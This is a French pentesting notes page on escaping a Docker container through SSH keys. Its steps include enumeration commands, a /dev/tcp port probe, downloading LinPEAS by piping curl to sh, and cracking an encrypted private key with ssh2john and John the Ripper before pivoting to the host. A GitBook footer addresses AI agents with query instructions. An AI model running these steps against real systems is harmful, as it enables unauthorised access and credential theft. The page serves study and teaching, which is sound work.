> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/privesc/docker-escape/docker-ssh-keys-linux-privilege-escalation.md).

# Évasion de Docker (clés SSH) - Élévation de privilèges Linux

## Ce que c’est

Les chemins d’évasion Docker exploitent une mauvaise configuration du conteneur, des ressources de l’hôte montées, des identifiants par défaut, des mots de passe réutilisés ou des privilèges excessifs du conteneur. L’objectif est de passer du contexte du conteneur à un accès au niveau de l’hôte. Cette page spécifique se concentre sur **Évasion de Docker (clés SSH)** et maintient le flux d’exploitation pratique : identifiez la condition, validez-la en toute sécurité, puis exécutez la charge utile minimale nécessaire pour prouver l’impact.

## Énumération

Commencez par confirmer le contexte local et la mauvaise configuration exacte avant d’exécuter la voie d’exploitation.

```bash
id
cat /proc/1/cgroup
mount
ls -la /var/run/docker.sock 2>/dev/null
```

## Exemples

Nous sommes à l'intérieur d'un conteneur et utilisons la commande pour trouver l'adresse du conteneur côté hôte (192.168.150.1). Ensuite, nous vérifions si le port 22 est ouvert sur cette machine.

<figure><img src="/files/f54865f08fa46d9d0ba1f169e73b5b95643aa2a7" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/1ebd82a487da10f2298c0fff9d29d18c0b574d2b" alt=""><figcaption></figcaption></figure>

```bash
echo '' > /dev/tcp/192.168.150.1/22
```

<figure><img src="/files/d6ba9ac79f72c4f7c1d4b3285700014411b6d33a" alt=""><figcaption></figcaption></figure>

### **Énumération du système (**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):**

Nous utilisons LinPEAS pour l'énumération en vue d'une élévation de privilèges :

```bash
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
```

<figure><img src="/files/db8ecae38d10704800246596f154a898127f879f" alt=""><figcaption></figcaption></figure>

**Nous trouvons un dossier tgz inattendu dans le répertoire racine.**

<figure><img src="/files/dca88fa15129bab1223cf8b966b40a94fec87013" alt=""><figcaption></figcaption></figure>

```bash
cp /.oldkeys.tgz /tmp/
cd !$
mv .oldkeys.tgz oldkeys.tgz
tar -xf oldkeys.tgz
```

### **Craquage d'une clé SSH privée protégée :**

### Identification de la clé SSH privée

Nous identifions une paire de clés SSH OpenSSH publique et privée.

<figure><img src="/files/1d9c998a16b8931d921c719970b2478ffa5fb5b4" alt=""><figcaption></figcaption></figure>

### Craquage de la clé privée :

* Nous observons que la clé privée est chiffrée

<figure><img src="/files/a925e681e4b1d83ade6f7ab23ac4b446640c675f" alt=""><figcaption></figcaption></figure>

* Nous utilisons **ssh2john.py** pour convertir le contenu du fichier en un hachage :

```bash
python2.7 /usr/share/john/ssh2john.py id_rsa
```

<figure><img src="/files/277350ebfcf1b5063ceb02c45950093da9710985" alt=""><figcaption></figcaption></figure>

* Ensuite, nous utilisons John the Ripper pour casser le hachage avec un fichier de mots de passe.

```bash
john -w:/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="/files/6de2351c847c57d5168152e2fd0e1df4cc570056" alt=""><figcaption></figcaption></figure>

### Accès en tant que root :

Nous obtenons l'accès à la machine en tant que root.

<figure><img src="/files/60a15341f0645673bff8da25078ab0a013a33d92" alt=""><figcaption></figcaption></figure>

### **Exploitation de la confiance des clés SSH pour sortir du conteneur :**

Utilisez le `known_hosts` configuration dans le répertoire SSH du conteneur pour pivoter vers une autre machine, ce qui nous permet de nous connecter à l'utilisateur admin sur la machine hôte.

<figure><img src="/files/435a7eef1a674d517bd4665a7f11ac4c32890907" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2d5ee1617fff50c32558d0872912eab8fa271ede" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/privesc/docker-escape/docker-ssh-keys-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
